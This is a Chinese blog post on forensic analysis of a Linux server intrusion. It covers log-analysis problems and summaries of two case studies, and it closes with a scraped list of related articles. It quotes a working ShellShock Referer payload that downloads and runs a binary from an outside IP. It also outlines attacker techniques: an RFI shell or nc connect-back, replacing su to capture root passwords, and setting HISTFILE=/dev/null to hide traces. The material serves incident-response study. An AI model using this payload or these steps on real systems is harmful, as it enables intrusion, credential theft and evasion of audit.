以下内容的出现可以追溯到一个发生在互联网的安全事件:

  Z公司遭受某种攻击,服务器上被植入了Linux DDOS木马,部分系统命令入ls遭替换,攻击者已经获得该服务器root权限;

  影响更恶劣的是,连接生产系统的某台数据库服务器遭到攻击,部分数据被删除,好在通过备份数据及时得到恢复,不过现场已被破坏。

  先撇开木马不谈,数据库被攻击首先让人联想到的是SQL注入,由于现场被破坏,数据库本身也没有开审计,加上其他种种原因,已无法觅得具体攻击时间和操作。

  一段悲伤的故事就这么开始了,就像行走在黑暗中遭到攻击,却不知道攻击来自哪里,处境被动。

  前端服务器采用Nginx+Tomcat分层架构,按说要溯源攻击只能从Web服务器的日志着手了。

  情况简单介绍:

  1. 前端请求都由Nginx处理,Tomcat日志对于攻击事件的分析并没有什么作用(但还是在上面花了不少时间)。

  2. Nginx记录了GET、POST甚至HEAD请求,但未记录POST数据,因此如果攻击数据来自POST,日志无法提供帮助。

  3. 从Nginx的日志能发现SQL注入、XSS攻击的请求,User-Agent为googlebot、SQLmap,明显的扫描操作;返回状态码包括301,403,404,乍看之下联合查询、子查询甚至精确到了表名、列数,但这些请求每天都有,而且针对数据库是Mysql。

  4. 从这些日志中无法发现有用信息,在这次的入侵分析中还存在其他问题:

    a. 现场被破坏

    b. 攻击时间范围无法确定

    c. 运维不知道哪些服务器连接哪些数据库,没法帮助缩小分析范围或提供其他有价值信息

    d. 临时连到服务器上,只能通过grep、awk等工具进行关键字匹配搜索,多台服务器(每台每天的日志信息大小10G数量级)手工分析效率低下

    e. 知易行难,缺乏经验导致未能尽快取得有效进展;A公司缺乏负责处理安全事件的专员,在沟通协商方面造成了影响

    f. 对其网站花了点时间进行安全测试,并未发现明显安全问题(包括注入点),同样花费了时间却未取得进展。

  这种毫无进展的情况是让人很受挫的,后来考虑从木马入手,稍微有所发现,这个等会再谈。

  脑补了一下入侵分析和入侵取证方面的知识,发现相关资料并不多,如下两段内容具有相当的借鉴和参考意义:

  (1). 反入侵案例

  链接: https://www.91ri.org/155.html
 
  说明:
 
1. IDS警报,Apache受到攻击,来源IP仅开放22、80端口,推测是作为跳板的Web服务器
2. www.myipneighbors.com查该IP对应的域名,google搜索inurl:domain.com,逐个页面检查
3. IP对应域名太多,攻击手段表明再寻找RFI,如果是跳板服务器则很可能也是通过RFI得手
4. 将搜集到的URL放入文本中,通过程序来检测这些链接
5. 找到存在RFI且能执行php代码和系统命令的
6. 利用RFI上传shell或nc回连
7. 利用shell获取到普通用户的用户名/密码
8. 无提权0day/nday,观察history得知管理员常通过该账户su到root
9. 替换su获取root密码,在获取到密码后链接到真实的su,同时清除痕迹
10. HISTFILE=/dev/null避免命令被记录;access_log auth.log
11. 服务器群  /root/.ssh 记录公钥、私钥文件  scp复制文件
 
  (2). 入侵取证案例
 
  链接:http://blog.chinaunix.net/uid-26893610-id-4150880.html
 
  说明:
 
1. 检查步骤
     a.服务器操作系统版本信息——>操作系统补丁安装情况——>操作系统安装时间/中间有没有经过进行重新安装——>服务器维护情况—— >服务器上面安装的软件版本信息
     b.日志检查——IDS日志信息/IIS日志信息/系统日志信息
     c.网站代码审查——是否存在一句话木马,源代码上是否存在恶意代码插入
     d.杀毒软件版本更新情况——是否是最新版本,配置的是否合理,配套的监视是否全部打开
     e.数据恢复——>利用专用数据恢复软件进行数据恢复,恢复一些被删除的日志信息和系统信息,曾经安装过的文件操作信息。
     f.提取可疑文件(病毒、木马、后门、恶意广告插件)——在系统文件目录利用第三方或者自开发软件,对可疑文件进行提取并进行深度分析
 
2. 对原始数据恢复:Datarecover恢复被删除文件,希望找到木马、病毒
3. 手工分析可疑软件:sethc..exe, 真实大小应为27kb
4. 防火墙查看网络连接,查看日志
5. GET会被记录,系统级后面可以用冰刃(IceSword)、SREng(System Repair Engineer)分析可疑文件
6. 通过日志查找Webshell;是否有克隆账户(注册表sam文件是否有相同fv);系统安装日志;IIS访问日志;首页源代码
    其他包括日志分析、取证的文章这里不再提及,感兴趣的可以自行搜索。
  这里再提几个主意事项:
  (1)系统被入侵后,系统命令不再可靠 ,find, alias, ls, ps ,lsof, ll, netstat等可能已被替换(Z公司遇到的木马替换了ls,lsof,ps)
  (2) 可取证的日志包含如下特征:可靠性、可用性、保密性、完整性、不可抵赖性、可控性 ,若做不到,就无法作为数字证明;日志需要实时备份,各个环节存日志

  其余不完善之处,以后遇到会更新并补充

 

  接下来是关于木马的内容,由于这个木马并不是高深的rootkit,所以不需利用chrootkit或者其他高明手段就可以检测到其备份,找到系统中的其他样本。

  攻击者走的是简单粗暴路线,事情的确简化不少。

  关于rootkit的分析,可以看一下 Linux下基于内存分析的Rootkit检测方法 ,另外在使用chrootkit等工具时也不要对其产生过多依赖,原因可以参考:

  聊一聊chkrookit的误信和误用

  运行这个木马,使用Wireshark抓包,很快就看到了明显的"蛛丝马迹",一些细节这里不再赘述

  http://zone.wooyun.org/content/21251有简单说明,也由此引出kibana这个日志分析工具

  http://www.cnblogs.com/buzzlight/p/logstash_elasticsearch_kibana_log.html一文对其的介绍不错

  由于之前无数次与恶意软件擦身而过——是的,它很有意思,但跟我有什么关系呢,加上此次的恶意软件样本已经有现成的分析        (http://cybertracker.malwarehunterteam.com/malicious/296 ),因此关于该木马也不再多做说明,只简要描述下从中得到的信息:

来自中国大陆的DDOS木马,编译于2014年11月,约ShellShock曝光两月后(利用的正是这一漏洞,远程执行任意代码)。有若干变种,2015年1月已有相关样本被捕获,作为C&C分发端,通过wget从服务器的911端口下载恶意文件并执行,例如:

Referer: () { :; }; /bin/bash -c "rm -rf /tmp/*;echo wget http://61.160.212.172:911/java -O /tmp/China.Z-jgte >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-jgte >> /tmp/Run.sh;echo /tmp/China.Z-jgte >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh" 

  到这里其实都算不上有多少技术含量(当然能否做好入侵分析和取证跟经验有较大关系),不过为此事的后续处理提供了一种新的可能和思路:

  数据库被攻击,SQL注入当然只是一只一种可行的方式,其他情况如运维的误操作、前端服务器由于某种原因被控制等都是可能的。

  由于几个主要网站无明显安全问题,自然就得从其他角度或方向进行挖掘,虽然这事情目前还没有厘清,是否通过ShellShock控制的服务器也还未确认,起码让我们认识到了预期之外的可能和攻击面,而这也许就是关键突破口。

  待续。。。。

  ========================

  关于Malware,推荐几个网站:

  http://blog.malwaremustdie.org

  http://malware-traffic-analysis.net

  http://cybertracker.malwarehunterteam.com

  ========================

When it comes to intrusion analysis and forensics的更多相关文章

  1. Intrusion Analysis Learning

    目录 . 入侵分析简介 . 基于日志的入侵分析技术 . 入侵分析CASE . 入侵分析CASE . 入侵分析CASE . 入侵分析CASE 1. 入侵分析简介 Windows 清除日志的方法 wmic ...

  2. (转) [it-ebooks]电子书列表

    [it-ebooks]电子书列表   [2014]: Learning Objective-C by Developing iPhone Games || Leverage Xcode and Obj ...

  3. (转)Awesome Courses

    Awesome Courses  Introduction There is a lot of hidden treasure lying within university pages scatte ...

  4. Real Time Credit Card Fraud Detection with Apache Spark and Event Streaming

    https://mapr.com/blog/real-time-credit-card-fraud-detection-apache-spark-and-event-streaming/ Editor ...

  5. Automated Memory Analysis

    catalogue . 静态分析.动态分析.内存镜像分析对比 . Memory Analysis Approach . volatility: An advanced memory forensics ...

  6. malware analysis、Sandbox Principles、Design && Implementation

    catalog . 引言 . sandbox introduction . Sandboxie . seccomp(short for secure computing mode): API级沙箱 . ...

  7. [计算机取证技术] VDI-in-a-Box Analysis Results

    原文跳转: http://dig4n6.blogspot.tw/2013/07/vdi-in-box-analysis-results.html *文中引用图片如无法浏览,请科学上网* VDI-in- ...

  8. Analysis of requirement specification of parking management system

    Analysis of requirement specification of parking management system PURPOSE OF THE SYSTEM The parking ...

  9. Why many EEG researchers choose only midline electrodes for data analysis EEG分析为何多用中轴线电极

    Source: Research gate Stafford Michahial EEG is a very low frequency.. and literature will give us t ...

随机推荐

  1. grunt配置任务

    这个指南解释了如何使用 Gruntfile 来为你的项目配置task.如果你还不知道 Gruntfile 是什么,请先阅读 快速入门 指南并看看这个Gruntfile 实例. Grunt配置 Grun ...

  2. caffe的python接口学习(7):绘制loss和accuracy曲线

    使用python接口来运行caffe程序,主要的原因是python非常容易可视化.所以不推荐大家在命令行下面运行python程序.如果非要在命令行下面运行,还不如直接用 c++算了. 推荐使用jupy ...

  3. Matrix4x4矩阵变换、欧拉角转四元数、角度转弧度

    Matrix4x4 // 重置矩阵 ][]) { m[][] = ; m[][] = ; m[][] = ; m[][] = ; m[][] = ; m[][] = ; m[][] = ; m[][] ...

  4. 不得不知的CLR中的GC

    引言 GC 作为CLR的垃圾回收器,让程序员可以把更多的关注度放在业务上而不是垃圾回收(内存回收)上.其实很多语言也有类似的东东, 如Java也有JIT 等等 GC基本概念 垃圾回收机制的算法有好多种 ...

  5. 一种简单的md5加盐加密的方法(防止彩虹表撞库)

    md5加密(或者说摘要算法)大家都很熟悉了 就不解释了 现在很多数据库设计都喜欢用单向加密的方式保存密码,验证时对提交的密码再次加密之后做密文对比 /// <summary> 使用MD5加 ...

  6. java类的加载机制

    什么是类装载器ClassLoader ClassLoader是一个抽象类 ClassLoader的实例将读入Java字节码将类装载到JVM中 ClassLoader可以定制,满足不同的字节码流获取方式 ...

  7. NLog在Asp.Net MVC的实战应用

    Asp.Net MVC FilterAttribute特性.读取xml反序列化.NLog实战系列文章 首先新建一个MVC project. 一.NLog的配置. 作者:Jarosław Kowalsk ...

  8. JavaScript语言精粹--执行环境及作用域,this

    1.执行环境定义了变量或函数有权访问的其他数据,决定了他们各自的行为. 每个执行环境都有一个与之关联的变量对象,环境中定义的所有变量和函数都保存在这个对象中. 虽然我们无法访问,但是解析器在处理数据时 ...

  9. JavaScript权威设计--Window对象之Iframe(简要学习笔记十四)

    1.Window对象属性的文档元素(id) 如果在HTML文档中用id属性来为元素命名,并且如果Window对象没有此名字的属性,Window对象会赋予一个属性,它的名字是id属性的值,而他们的值指向 ...

  10. NotePad++中JSLint的使用

    1.第一步下载Notepad++ 2.安装JSLint插件 3.运行JSlint 4.前提是你设置了当前语言或者本身文件就是js 5.JSLint的作用主要就是检查你的JS的规则正确性(至少是绝大部分 ...